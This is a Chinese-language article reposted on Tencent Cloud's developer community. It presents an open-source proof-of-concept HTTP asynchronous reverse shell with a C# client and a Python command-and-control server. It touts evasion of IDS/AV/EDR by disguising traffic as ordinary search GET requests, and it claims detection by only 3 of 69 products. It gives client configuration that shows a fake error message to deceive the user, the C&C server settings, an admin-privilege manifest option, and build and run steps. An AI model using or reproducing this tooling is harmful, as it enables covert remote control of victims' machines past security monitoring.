今天,有很多方法可以创建反向 shell,以便能够通过防火墙远程控制机器。事实上,传出连接并不总是被过滤掉。
然而,安全软件和硬件(IPS、IDS、代理、AV、EDR...)越来越强大,可以检测到这些攻击。大多数情况下,与反向 shell 的连接是通过 L4 TCP 隧道建立的。
我认为保持不被发现的最好方法是让它看起来像合法的流量。HTTP 协议(第 7 层)是标准用户使用最多的协议。此外,它几乎从不过滤,以免阻止对网站的访问。
这个POC的特殊性在于通信是完全异步的,并且只使用GET请求。
然后: - 客户端查询服务器直到它得到指令。 - 攻击者向服务器提供指令。 - 当一个命令被定义时,客户端执行它并返回结果。
依此类推,直到攻击者决定结束会话。
今天,作为一个 poc,实现了以下功能:
69 款产品中只有 3 款能够在不应用任何规避或混淆技术的情况下将客户端检测为恶意客户端。
客户 : C Sharp
配置文件
该文件包含参数;分配你想要的值:
class Config
{
/* Behavior */
// Display a fake error msg at startup
public static bool DisplayErrorMsg = true;
// Title of fake error msg
public static string ErrorMsgTitle = "This application could not be started.";
// Description of fake error msg
public static string ErrorMsgDesc = "Unhandled exception has occured in your application. \r\r Object {0} is not valid.";
// Min delay between the client calls
public static int MinDelay = 2;
// Max delay between the client calls
public static int MaxDelay = 5;
// Fake uri requested - Warning : it must begin with "search" (or need a change on server side)
public static string Url = "search?q=search+something&qs=n&form=QBRE&cvid=";
/* Listener */
// Hostname/IP of C&C server
public static string Server = "https://127.0.0.1";
// Listening port of C&C server
public static string Port = "443";
// Allow self-signed or "unsecure" certificates - Warning : often needed in corporate environment using proxy
public static bool AllowInsecureCertificate = true;
}
HARS.manifest
将此行更改为默认运行具有特定权限的客户端:
<requestedExecutionLevel level="requireAdministrator" uiAccess="false" />
与
<requestedExecutionLevel level="asInvoker" uiAccess="false" />
或
<requestedExecutionLevel level="requireAdministrator" uiAccess="false" />
或
<requestedExecutionLevel level="highestAvailable" uiAccess="false" />
项目属性
您可以在此处自定义文件的程序集信息和图标。
注意:目标 .NET 框架版本设置为 4.6,该版本在 Windows 10 中默认可用。 对于 Windows 7,如果您不想安装缺少的功能,请选择 .NET 3.5。
从 Visual Studio 构建项目。客户端应该在Http Asynchronous Reverse Shell\HARS_Client\HARS\bin\Release
文件夹中生成。
服务器:PythonHARS_Server.py 位置:Http Asynchronous Reverse Shell\HARS_Server\www
如果需要,只需在配置部分更改证书上的端口或位置。
# Config
PORT = 443
CERT_FILE = '../server.pem'
python HARS_Server.py
-HTTP 日志位于Http Asynchronous Reverse Shell\HARS_Server\logs
\
-您可以在其中添加您自己的模板(任何 html 页面)Http Asynchronous Reverse Shell\HARS_Server\templates
https://github.com/onSec-fr/Http-Asynchronous-Reverse-Shell
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
扫码关注腾讯云开发者
领取腾讯云代金券
Copyright © 2013 - 2025 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号:粤B2-20090059 深公网安备号 44030502008569
腾讯云计算(北京)有限责任公司 京ICP证150476号 | 京ICP备11018762号 | 京公网安备号11010802020287
Copyright © 2013 - 2025 Tencent Cloud.
All Rights Reserved. 腾讯云 版权所有